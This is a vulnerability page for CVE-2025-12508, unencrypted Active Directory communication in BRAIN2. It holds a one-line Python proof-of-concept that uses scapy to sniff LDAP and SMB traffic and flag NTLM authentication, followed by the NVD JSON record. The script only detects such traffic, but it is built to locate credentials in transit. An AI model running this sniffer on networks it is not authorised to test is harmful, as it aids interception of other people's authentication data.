CVE-2025-12508

# CVE-2025-12508 PoC - Network Traffic Capture for Unencrypted AD Communication # This PoC demonstrates capturing unencrypted authentication data # Only for authorized security testing import scapy.all as scapy from scapy.layers import http import argparse def capture_ad_traffic(interface, target_ip=None): """ Capture unencrypted AD authentication traffic Requires root privileges and authorized testing environment """ print(f"[*] Starting packet capture on {interface}") print("[*] Looking for unencrypted LDAP/SMB traffic to AD servers") # Filter for LDAP traffic (port 389 - unencrypted) ldap_filter = "tcp port 389" # Also capture SMB traffic (ports 445/139) smb_filter = "tcp port 445 or tcp port 139" if target_ip: ldap_filter += f" and host {target_ip}" smb_filter += f" and host {target_ip}" print(f"[*] Filter: ({ldap_filter}) or ({smb_filter})") print("[*] Press Ctrl+C to stop capture") def process_packet(packet): # Check for LDAP traffic on port 389 if packet.haslayer(scapy.TCP): if packet[scapy.TCP].dport == 389 or packet[scapy.TCP].sport == 389: print(f"[!] Unencrypted LDAP traffic detected from {packet[scapy.IP].src}") print(f"[!] This may contain authentication credentials") # Check for SMB/NTLM traffic elif packet[scapy.TCP].dport == 445 or packet[scapy.TCP].sport == 445: if packet.haslayer(scapy.Raw): payload = packet[scapy.Raw].load if b'NTLM' in payload or b'Negotiate' in payload: print(f"[!] NTLM authentication traffic detected") print(f"[!] Source: {packet[scapy.IP].src} -> {packet[scapy.IP].dst}") scapy.sniff(iface=interface, filter=f"({ldap_filter}) or ({smb_filter})", prn=process_packet, store=0) if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-12508 PoC') parser.add_argument('-i', '--interface', required=True, help='Network interface') parser.add_argument('-t', '--target', help='Target AD server IP') args = parser.parse_args() capture_ad_traffic(args.interface, args.target)

{"cve": {"id": "CVE-2025-12508", "sourceIdentifier": "0beee27a-7d8c-424f-8e46-ac453fa147e6", "published": "2025-10-31T16:15:39.600", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "When using domain users as BRAIN2 users, communication with Active Directory services is unencrypted. This can lead to the interception of authentication data and compromise confidentiality."}], "metrics": {"cvssMetricV31": [{"source": "0beee27a-7d8c-424f-8e46-ac453fa147e6", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.7, "impactScore": 6.0}]}, "weaknesses": [{"source": "0beee27a-7d8c-424f-8e46-ac453fa147e6", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-319"}]}], "references": [{"url": "https://www.bizerba.com/downloads/global/information-security/2025/bizerba-sa-2025-0006.pdf", "source": "0beee27a-7d8c-424f-8e46-ac453fa147e6"}]}}